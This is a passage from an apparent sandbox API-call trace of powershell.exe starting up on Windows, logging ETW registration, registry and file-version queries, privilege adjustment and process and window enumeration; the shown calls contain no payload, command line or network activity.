Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::get_Enabled () returned 0x0 [0074.883] EtwEventRegister (in: ProviderId=0x4f85c00, EnableCallback=0x7152bc6, CallbackContext=0x0, RegHandle=0x4f85bdc | out: RegHandle=0x4f85bdc) returned 0x0 [0074.887] EtwEventRegister (in: ProviderId=0x4f86304, EnableCallback=0x7152bee, CallbackContext=0x0, RegHandle=0x4f862e0 | out: RegHandle=0x4f862e0) returned 0x0 [0074.887] EtwEventSetInformation (RegHandle=0x3229bc8, InformationClass=0x67, EventInformation=0x2, InformationLength=0x4f862a4) returned 0x0 [0075.113] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x2bfea74*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x2bfea74*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0075.119] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x2bfea74*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x2bfea74*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xdc, [1]=0x90, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0075.119] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x2bfea24*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x2bfea24*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0075.130] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x2bfea84*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xdc, [1]=0x90, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x2bfea84*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xdc, [1]=0x90, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0075.139] EtwEventRegister (in: ProviderId=0x4f877a0, EnableCallback=0x7152c16, CallbackContext=0x0, RegHandle=0x4f87778 | out: RegHandle=0x4f87778) returned 0x0 [0075.145] EtwEventWriteTransfer (RegHandle=0x3228ae8, EventDescriptor=0x68, ActivityId=0x2bfea98, RelatedActivityId=0x2bfea44, UserDataCount=0x0, UserData=0x0) returned 0x0 [0075.153] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x2bfe200 | out: phkResult=0x2bfe200*=0x0) returned 0x2 [0075.154] RegCloseKey (hKey=0x80000002) returned 0x0 [0075.406] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x104, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0075.489] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x88 [0075.489] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x88, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0075.489] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2bfe948) returned 1 [0075.489] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x2bfe9c4 | out: lpFileInformation=0x2bfe9c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ce8766, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x71ce8766, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x71d0e9d1, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x623400)) returned 1 [0075.490] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2bfe944) returned 1 [0075.490] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x2bfea38 | out: lpdwHandle=0x2bfea38) returned 0x94c [0075.525] GetFileVersionInfoW (in: lptstrFilename="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x4f89534 | out: lpData=0x4f89534) returned 1 [0075.573] VerQueryValueW (in: pBlock=0x4f89534, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x2bfea0c, puLen=0x2bfea08 | out: lplpBuffer=0x2bfea0c*=0x4f895d0, puLen=0x2bfea08) returned 1 [0075.573] VerQueryValueW (in: pBlock=0x4f89534, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x2bfe98c, puLen=0x2bfe988 | out: lplpBuffer=0x2bfe98c*=0x4f896ac, puLen=0x2bfe988) returned 1 [0075.573] VerQueryValueW (in: pBlock=0x4f89534, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x2bfe98c, puLen=0x2bfe988 | out: lplpBuffer=0x2bfe98c*=0x4f89700, puLen=0x2bfe988) returned 1 [0075.573] VerQueryValueW (in: pBlock=0x4f89534, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x2bfe98c, puLen=0x2bfe988 | out: lplpBuffer=0x2bfe98c*=0x4f8975c, puLen=0x2bfe988) returned 1 [0075.573] VerQueryValueW (in: pBlock=0x4f89534, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x2bfe98c, puLen=0x2bfe988 | out: lplpBuffer=0x2bfe98c*=0x4f8979c, puLen=0x2bfe988) returned 1 [0075.573] VerQueryValueW (in: pBlock=0x4f89534, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x2bfe98c, puLen=0x2bfe988 | out: lplpBuffer=0x2bfe98c*=0x4f89804, puLen=0x2bfe988) returned 1 [0075.573] VerQueryValueW (in: pBlock=0x4f89534, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x2bfe98c, puLen=0x2bfe988 | out: lplpBuffer=0x2bfe98c*=0x4f898a0, puLen=0x2bfe988) returned 1 [0075.573] VerQueryValueW (in: pBlock=0x4f89534, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x2bfe98c, puLen=0x2bfe988 | out: lplpBuffer=0x2bfe98c*=0x4f89904, puLen=0x2bfe988) returned 1 [0075.573] VerQueryValueW (in: pBlock=0x4f89534, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x2bfe98c, puLen=0x2bfe988 | out: lplpBuffer=0x2bfe98c*=0x4f89980, puLen=0x2bfe988) returned 1 [0075.573] VerQueryValueW (in: pBlock=0x4f89534, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x2bfe98c, puLen=0x2bfe988 | out: lplpBuffer=0x2bfe98c*=0x4f89628, puLen=0x2bfe988) returned 1 [0075.573] VerQueryValueW (in: pBlock=0x4f89534, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x2bfe98c, puLen=0x2bfe988 | out: lplpBuffer=0x2bfe98c*=0x0, puLen=0x2bfe988) returned 0 [0075.573] VerQueryValueW (in: pBlock=0x4f89534, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x2bfe98c, puLen=0x2bfe988 | out: lplpBuffer=0x2bfe98c*=0x0, puLen=0x2bfe988) returned 0 [0075.573] VerQueryValueW (in: pBlock=0x4f89534, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x2bfe98c, puLen=0x2bfe988 | out: lplpBuffer=0x2bfe98c*=0x0, puLen=0x2bfe988) returned 0 [0075.573] VerQueryValueW (in: pBlock=0x4f89534, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x2bfe980, puLen=0x2bfe97c | out: lplpBuffer=0x2bfe980*=0x4f895d0, puLen=0x2bfe97c) returned 1 [0075.573] VerLanguageNameW (in: wLang=0x0, szLang=0x2bfe710, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0075.573] VerQueryValueW (in: pBlock=0x4f89534, lpSubBlock="\\", lplpBuffer=0x2bfe990, puLen=0x2bfe98c | out: lplpBuffer=0x2bfe990*=0x4f8955c, puLen=0x2bfe98c) returned 1 [0075.575] GetCurrentProcessId () returned 0x190 [0075.585] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x2bfe254 | out: lpLuid=0x2bfe254*(LowPart=0x14, HighPart=0)) returned 1 [0075.587] GetCurrentProcess () returned 0xffffffff [0075.587] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x2bfe250 | out: TokenHandle=0x2bfe250*=0x4f4) returned 1 [0075.587] AdjustTokenPrivileges (in: TokenHandle=0x4f4, DisableAllPrivileges=0, NewState=0x4f8dbb4*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0075.587] CloseHandle (hObject=0x4f4) returned 1 [0075.590] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x190) returned 0x4f4 [0075.630] EnumProcessModules (in: hProcess=0x4f4, lphModule=0x4f8dbf8, cb=0x100, lpcbNeeded=0x2bfe9c0 | out: lphModule=0x4f8dbf8, lpcbNeeded=0x2bfe9c0) returned 1 [0075.640] GetModuleInformation (in: hProcess=0x4f4, hModule=0xb50000, lpmodinfo=0x4f90028, cb=0xc | out: lpmodinfo=0x4f90028*(lpBaseOfDll=0xb50000, SizeOfImage=0x6c000, EntryPoint=0xb595f0)) returned 1 [0075.640] CoTaskMemAlloc (cb=0x804) returned 0x32b8c40 [0075.640] GetModuleBaseNameW (in: hProcess=0x4f4, hModule=0xb50000, lpBaseName=0x32b8c40, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0075.640] CoTaskMemFree (pv=0x32b8c40) [0075.641] CoTaskMemAlloc (cb=0x804) returned 0x32b8c40 [0075.641] GetModuleFileNameExW (in: hProcess=0x4f4, hModule=0xb50000, lpFilename=0x32b8c40, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0075.641] CoTaskMemFree (pv=0x32b8c40) [0075.642] CloseHandle (hObject=0x4f4) returned 1 [0075.643] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x190) returned 0x4f4 [0075.643] GetExitCodeProcess (in: hProcess=0x4f4, lpExitCode=0x4f8d31c | out: lpExitCode=0x4f8d31c*=0x103) returned 1 [0075.656] EnumWindows (lpEnumFunc=0x7152c3e, lParam=0x0) returned 0 [0075.660] GetWindowThreadProcessId (in: hWnd=0x10150, lpdwProcessId=0x2bfe924 | out: lpdwProcessId=0x2bfe924) returned 0xa58 [0075.660] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x2bfe924 | out: lpdwProcessId=0x2bfe924) returned 0x848 [0075.660] GetWindowThreadProcessId (in: hWnd=0x100cc, lpdwProcessId=0x2bfe924 | out: lpdwProcessId=0x2bfe924) returned 0x7b8 [0075.660] GetWindowThreadProcessId (in: hWnd=0x100c8, lpdwProcessId=0x2bfe924 | out: lpdwProcessId=0x2bfe924) returned 0x7b8 [0075.660] GetWindowThreadProcessId (in: hWnd=0x100c4, lpdwProcessId=0x2bfe924 | out: lpdwProcessId=0x2bfe924) returned 0x7b8 [0075.660] GetWindowThreadProcessId (in: hWnd=0x100c0, lpdwProcessId=0x2bfe924 | out: lpdwProcessId=0x2bfe924) returned 0x7b8 [0075.661] GetWindowThreadProcessId (in: hWnd=0x100ae, lpdwProcessId=0x2bfe924 | out: lpdwProcessId=0x2bfe924) returned 0x7b8 [0075.661] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x2bfe924 | out: lpdwProcessId=0x2bfe924) returned 0x7b8 [0075.661] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x2bfe924 | out: lpdwProcessId=0x2bfe924) returned 0x7b8 [0075.661] GetWindowThreadProcessId (in: hWnd=0x100e0, lpdwProcessId=0x2bfe924 | out: lpdwProcessId=0x2bfe924) returned 0x7b8 [0075.661] GetWindowThreadProcessId (in: hWnd=0x100d0, lpdwProcessId=0x2bfe924 | out: lpdwProcessId=0x2bfe924) returned 0x7b8 [0075.661] GetWindowThreadProcessId (in: hWnd=0x100d4, lpdwProcessId=0x2bfe924 | out: lpdwProcessId=0x2bfe924) returned 0x7b8 [0075.661] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x2bfe924 | out: lpdwProcessId=0x2bfe924) returned 0x7b8 [0075.661] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x2bfe924 | out: lpdwProcessId=0x2bfe924) returned 0xc30 [0075.661] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x2bfe924 | out: lpdwProcessId=0x2bfe924) returned 0x7e4 [0075.661] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x2bfe924 | out: lpdwProcessId=0x2bfe924) returned 0x7b8 [0075.662] GetWindowThreadProcessId (in: hWnd=0x8014c, lpdwProcessId=0x2bfe924 | out: lpdwProcessId=0x2bfe924) returned 0x84 [0075.662] GetWindow (hWnd=0x8014c, uCmd=0x4) returned 0x0 [0075.662] IsWindowVisible (hWnd=0x8014c) returned 1 [0075.688] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5f894c8, Length=0x20000, ResultLength=0x2bfe9e4 | out: SystemInformation=0x5f894c8, ResultLength=0x2bfe9e4*=0x252d8) returned 0xc0000004 [0075.691] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5fa94e8, Length=0x27ad8, ResultLength=0x2bfe9e4 | out: SystemInformation=0x5fa94e8, ResultLength=0x2bfe9e4*=0x1b0b8) returned 0x0 [0075.740] WerSetFlags () returned 0x0 [0075.745] SetThreadPreferredUILanguages (in: dwFlags=0x100, pwszLanguagesBuffer=0x0, pulNumLanguages=0x0 | out: pulNumLanguages=0x0) returned 1 [0076.223] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x2bfea10, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2bfea0c | out: pulNumLanguages=0x2bfea10, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2bfea0c) returned 1 [0076.223] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x2bfea10, pwszLanguagesBuffer=0x4fbafc4, pcchLanguagesBuffer=0x2bfea0c | out: pulNumLanguages=0x2bfea10, pwszLanguagesBuffer=0x4fbafc4, pcchLanguagesBuffer=0x2bfea0c) returned 1 [0076.229] GetUserDefaultLocaleName (in: lpLocaleName=0x2bfe9a4, cchLocaleName=16 | out: lpLocaleName="en-US") returned 6 [0076.252] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2bfe154, nSize=0x80 | out: lpBuffer="￿￿ʿဢ狙㦀熪皴燣佚狢駭詢굈̣皴燣㦀熪胰燎㦀熪胰燎ʿ啾狢￿￿ʿ꛰猯￿￿佚狢刐狢䪌燭") returned 0x0 [0076.254] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2bfe154, nSize=0x80 | out: lpBuffer="￿￿裤̩ʿᩚ狯囨̦\x01⌀") returned 0x0 [0076.489] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x2bfd960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0076.489] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2bfde1c) returned 1 [0076.489] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x2bfde98 | out: lpFileInformation=0x2bfde98*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0076.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2bfde18) returned 1 [0076.987] CoCreateGuid (in: pguid=0x2bfe0c4 | out: pguid=0x2bfe0c4*(Data1=0xf076f0, Data2=0x85b5, Data3=0x4012, Data4=([0]=0x88, [1]=0x64, [2]=0xce, [3]=0x6c, [4]=0xa1, [5]=0xae, [6]=0x96, [7]=0x9b))) returned 0x0 [0077.109] CoCreateGuid (in: pguid=0x2bfe0b8 | out: pguid=0x2bfe0b8*(Data1=0xc71d92bf, Data2=0xe370, Data3=0x4fc5, Data4=([0]=0xa2, [1]=0xc8, [2]=0x3, [3]=0x17, [4]=0x27, [5]=0x53, [6]=0xbd, [7]=0xe0))) returned 0x0 [0077.109] CoCreateGuid (in: pguid=0x2bfe0b8 | out: pguid=0x2bfe0b8*(Data1=0x9ecebcf0, Data2=0xf0d, Data3=0x4d83, Data4=([0]=0xb9, [1]=0x3a, [2]=0x62, [3]=0xff, [4]=0x71, [5]=0x76, [6]=0x23, [7]=0x1f))) returned 0x0 [0077.109] CoCreateGuid (in: pguid=0x2bfe0b8 | out: pguid=0x2bfe0b8*(Data1=0xb441d660, Data2=0x6a10, Data3=0x4aed, Data4=([0]=0x8e, [1]=0xe, [2]=0x62, [3]=0x97, [4]=0xa7, [5]=0x43, [6]=0x8b, [7]=0x6f))) returned 0x0 [0077.109] CoCreateGuid (in: pguid=0x2bfe0b8 | out: pguid=0x2bfe0b8*(Data1=0xcdd2bd44, Data2=0xbd6b, Data3=0x447b, Data4=([0]=0x9e, [1]=0xe9, [2]=0xdc, [3]=0xb4, [4]=0x9b, [5]=0x52, [6]=0x4b, [7]=0x9))) returned 0x0 [0077.109] CoCreateGuid (in: pguid=0x2bfe0b8 | out: pguid=0x2bfe0b8*(Data1=0x33d11457, Data2=0x80de, Data3=0x4bfe, Data4=([0]=0x99, [1]=0x23, [2]=0x69, [3]=0xae, [4]=0xa6, [5]=0xf2, [6]=0x6, [7]=0x90))) returned 0x0 [0077.109] CoCreateGuid (in: pguid=0x2bfe0b8 | out: pguid=0x2bfe0b8*(Data1=0xecbf0d8e, Data2=0x9f1c, Data3=0x43d4, Data4=([0]=0x92, [1]=0x12, [2]=0x24, [3]=0x53, [4]=0xd1, [5]=0xec, [6]=0xf, [7]=0xc2))) returned 0x0 [0077.109] CoCreateGuid (in: pguid=0x2bfe0b8 | out: pguid=0x2bfe0b8*(Data1=0x73223c99, Data2=0x6d0, Data3=0x4872, Data4=([0]=0xaa, [1]=0xa1, [2]=0x14, [3]=0xf1, [4]=0xd1, [5]=0xa1, [6]=0xaf, [7]=0x8f))) returned 0x0 [0077.109] CoCreateGuid (in: pguid=0x2bfe0b8 | out: pguid=0x2bfe0b8*(Data1=0x9b1693ad, Data2=0xdd13, Data3=0x4a15, Data4=([0]=0xbe, [1]=0x46, [2]=0x6a, [3]=0x19, [4]=0x99, [5]=0xcf, [6]=0x90, [7]=0xb4))) returned 0x0 [0077.109] CoCreateGuid (in: pguid=0x2bfe0b8 | out: pguid=0x2bfe0b8*(Data1=0xa6e97dfc, Data2=0x7bc2, Data3=0x47ae, Data4=([0]=0xbc, [1]=0xb6, [2]=0x4c, [3]=0xa5, [4]=0x63, [5]=0x6, [6]=0x5f, [7]=0xed))) returned 0x0 [0077.109] CoCreateGuid (in: pguid=0x2bfe0b8 | out: pguid=0x2bfe0b8*(Data1=0x172108fc, Data2=0x7587, Data3=0x4b2f, Data4=([0]=0xbd, [1]=0x72, [2]=0xe8, [3]=0x7e, [4]=0x3, [5]=0x96, [6]=0x8e, [7]=0x1b))) returned 0x0 [0077.110] CoCreateGuid (in: pguid=0x2bfe0b8 | out: pguid=0x2bfe0b8*(Data1=0x850ca06c, Data2=0xd8b7, Data3=0x4d17, Data4=([0]=0x8f, [1]=0xbe, [2]=0xb8, [3]=0x5c, [4]=0xb0, [5]=0xd3, [6]=0x67, [7]=0x68))) returned 0x0 [0077.110] CoCreateGuid (in: pguid=0x2bfe0b8 | out: pguid=0x2bfe0b8*(Data1=0xd608af65, Data2=0x6e5f, Data3=0x47ac, Data4=([0]=0xb5, [1]=0xa0, [2]=0x67, [3]=0xef, [4]=0xed, [5]=0x79, [6]=0x42, [7]=0x6b))) returned 0x0 [0077.111] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2bfddd4, nSize=0xfa | out: lpBuffer="䳆狞顡詢\x14\x01徠狙哨׸") returned 0x0 [0077.124] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2bfe95c | out: phkResult=0x2bfe95c*=0x704) returned 0x0 [0077.124] RegQueryValueExW (in: hKey=0x704, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2bfe97c, lpData=0x0, lpcbData=0x2bfe978*=0x0 | out: lpType=0x2bfe97c*=0x1, lpData=0x0, lpcbData=0x2bfe978*=0x56) returned 0x0 [0077.124] RegQueryValueExW (in: hKey=0x704, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2bfe97c, lpData=0x4fd3cf4, lpcbData=0x2bfe978*=0x56 | out: lpType=0x2bfe97c*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2bfe978*=0x56) returned 0x0 [0077.125] RegCloseKey (hKey=0x704) returned 0x0 [0077.127] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2bfdfcc, nSize=0xfa | out: lpBuffer="䳆狞驩詢\x14\x01徠狙哨׸嬀狢\x01") returned 0x0 [0077.129] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x2bfe92c | out: phkResult=0x2bfe92c*=0x0) returned 0x2 [0077.130] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x2bfe92c | out: phkResult=0x2bfe92c*=0x0) returned 0x2 [0077.317] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x88 [0077.317] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x88, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0077.332] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2bfe8d4 | out: phkResult=0x2bfe8d4*=0x6f8) returned 0x0 [0077.333] RegQueryValueExW (in: hKey=0x6f8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2bfe8f4, lpData=0x0, lpcbData=0x2bfe8f0*=0x0 | out: lpType=0x2bfe8f4*=0x1, lpData=0x0, lpcbData=0x2bfe8f0*=0x56) returned 0x0 [0077.333] RegQueryValueExW (in: hKey=0x6f8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2bfe8f4, lpData=0x4fdadc8, lpcbData=0x2bfe8f0*=0x56 | out: lpType=0x2bfe8f4*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2bfe8f0*=0x56) returned 0x0 [0077.333] RegCloseKey (hKey=0x6f8) returned 0x0 [0077.533] CoTaskMemAlloc (cb=0x20c) returned 0x32c7e40 [0077.533] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x32c7e40 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x0 [0077.538] CoTaskMemFree (pv=0x32c7e40) [0077.538] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1e [0077.538] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local", nBufferLength=0x1e, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local", lpFilePart=0x0) returned 0x1d [0077.538] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3b [0077.538] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell", nBufferLength=0x3b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell", lpFilePart=0x0) returned 0x3a [0077.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2bfe954) returned 1 [0077.538] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windows\\powershell"), fInfoLevelId=0x0, lpFileInformation=0x2bfe9d0 | out: lpFileInformation=0x2bfe9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3ec8443, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xdc924418, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xdc924418, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2bfe950) returned 1 [0077.542] CoCreateGuid (in: pguid=0x2bfe9e0 | out: pguid=0x2bfe9e0*(Data1=0x7b96f2ef, Data2=0xef68, Data3=0x4ea8, Data4=([0]=0x90, [1]=0xd1, [2]=0xe, 